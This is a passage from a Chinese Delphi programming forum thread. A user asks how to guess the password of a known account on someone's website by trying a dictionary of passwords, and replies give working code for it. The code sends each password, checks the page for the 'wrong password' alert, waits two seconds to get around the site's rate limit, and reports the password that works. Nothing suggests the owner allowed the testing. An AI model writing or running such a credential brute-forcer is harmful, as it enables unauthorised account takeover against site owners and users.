提交格式为http://www.xxx.com/xxx.jsp?name=aaa&psw=bbb
密码错误时页面自动转到http://www.xx.com/login.jsp并显示一MsgBox,信息内容为“密码错误”。
现在用户名已知(设为aaa),密码位数在6~8位范围内,只包括小写英文和0~9数字,字典我可能生成。但不知该怎样检查它的返回信息为错误?请各位指点,最好有例子的源代码,C/C++/delphi/vb/java/asm均可。先谢了。
密码错误时页面自动转到http://www.xx.com/login.jsp并显示一MsgBox,信息内容为“密码错误”。
现在用户名已知(设为aaa),密码位数在6~8位范围内,只包括小写英文和0~9数字,字典我可能生成。但不知该怎样检查它的返回信息为错误?请各位指点,最好有例子的源代码,C/C++/delphi/vb/java/asm均可。先谢了。
解决方案 »
- 初学Delphi 问题多多 请求支援
- ★听说今天是小龙淫的生日,放分祝贺 嘿嘿
- 如何用DELPHI实现端口映射?
- Delphi7不能容忍的BUG!
- 我用Delphi的ADO连接SQL Server,奇怪的是,发布时居然要配置一下客户的ODBC才能连接成功!而后
- 干掉小日本——ttzzj首次放分
- 帮我弄一份GDI+的GDIPLUS.PAS,多谢!
- 在delphi中如何连接远程oracle数据库?
- (在线等待)!!如何解决出现“ [DBNETLIB] [Connection Open (connect()).)] Sql Server doesnot exist or access denied” 的问题
- RichEdit字体高度问题,怎么样才能使两个RichEdit行的高度一致?
- 关于TXMLDocument内存释放的问题。
- 想在程序中控制FR中的自定义纸张与WINDOWS中打印机纸张设置一致?
Url, s: string;
Response: TStringStream;
Request: TStrings;begin Url := edit3.Text + 'Project1.dll';
memo1.Lines.Clear;
Response := TStringStream.Create('');
try
Request := TStringList.Create;
try Request.Add('name=' + edit2.Text);
Request.Add('paw=' + edit1.Text);
IdHTTP1.Request.ContentType := 'application/x-www-form-urlencoded';
IdHTTP1.Request.ContentLength := length(Request.text);
IdHTTP1.Post(Url, Request, Response); showmessage(Trim(Response.DataString));//成功是什么?你自己分析
finally
Request.Free;
end;
finally
Response.Free;
end;
end;
在很短时间内两次校验就会返回一个"请勿频繁刷新!"的信息,现在也还未做成线程,很是不好使用.
还有一个问题是字典太大了,我只是用数字成六位七位八位的字典就已经一G多了,有什么折中的解决办法吗?
这样的情况下不知又该如何处理呢?
procedure TForm1.BitBtn1Click(Sender: TObject);
var
i:integer;
Url,psw: string;
Response: TStringStream;
Request: TStrings;
dic:tstringlist;
{目标网页共提交了三次校验密码,所以要两次从结果中抽取出来再提交}
begin
Url := edit3.Text;
memo1.Lines.Clear;
memo2.Lines.Clear; Response := TStringStream.Create('');
try
Request := TStringList.Create;
try Request.Add('username=' + edit2.Text);
Request.Add('password=' + edit1.Text); IdHTTP1.Request.ContentType := 'application/x-www-form-urlencoded';
IdHTTP1.Request.ContentLength := length(Request.text);
IdHTTP1.Post(Url, Request, Response); memo2.Text:=(Trim(Response.DataString));//成功是什么?你自己分析 //-------
url:=GetString(memo2.Lines,'name=form1 action');
Request.Clear;
Request.Add('username='+GetString(memo2.Lines,'username.value'));
Request.Add('pwd='+Getstring(memo2.Lines,'pwd.value'));
Response.CleanupInstance; IdHTTP1.Request.ContentType := 'application/x-www-form-urlencoded';
IdHTTP1.Request.ContentLength := length(Request.text);
IdHTTP1.Post(Url, Request, Response);
memo2.Text:=Trim(response.DataString);
dic:=tstringlist.Create;
try
dic.Clear;
dic.LoadFromFile('dic.txt'); for i:=0 to dic.Count-1 do
begin
url:=GetString(memo2.Lines,'form name="form1" method="post" action');
response.CleanupInstance;
request.clear;
psw:=dic.Strings[i];
request.add('userName='+edit4.Text);
request.add('password='+psw);
IdHTTP1.Request.ContentLength := length(Request.text);
IdHTTP1.Request.ContentType := 'application/x-www-form-urlencoded';
IdHTTP1.Post(Url, Request, Response);
if pos('alert(''密码错误!'')',response.DataString)<1 then
begin
showmessage(psw);
break;
end;
sleep(2000);{没有办法,目标网页有时间间隔限制的。太短的时间内连续post会报错。
但即使是这样,每五次之后都还是会报错。
}
end;
finally
dic.Free;
end;
memo2.Text:=Trim(response.DataString);
finally
Request.Free;
end;
finally
Response.Free;
end;
end;
function TForm1.GetString(s: tstrings;subs:string): string;
{此子程用于获得类似action='http://aaa.asp'中的http://aaa.asp返回,进来里需指明action,如果是双引号也可以取得}
var
i:integer;
stemp:string;
begin
i:=pos(subs,s.Text);
i:=i+length(subs)+2;
stemp:=copy(s.text,i,length(s.text)-i);
i:=pos(s.Text[i-1],stemp);
stemp:=copy(stemp,0,i-1);
result:=stemp;
end;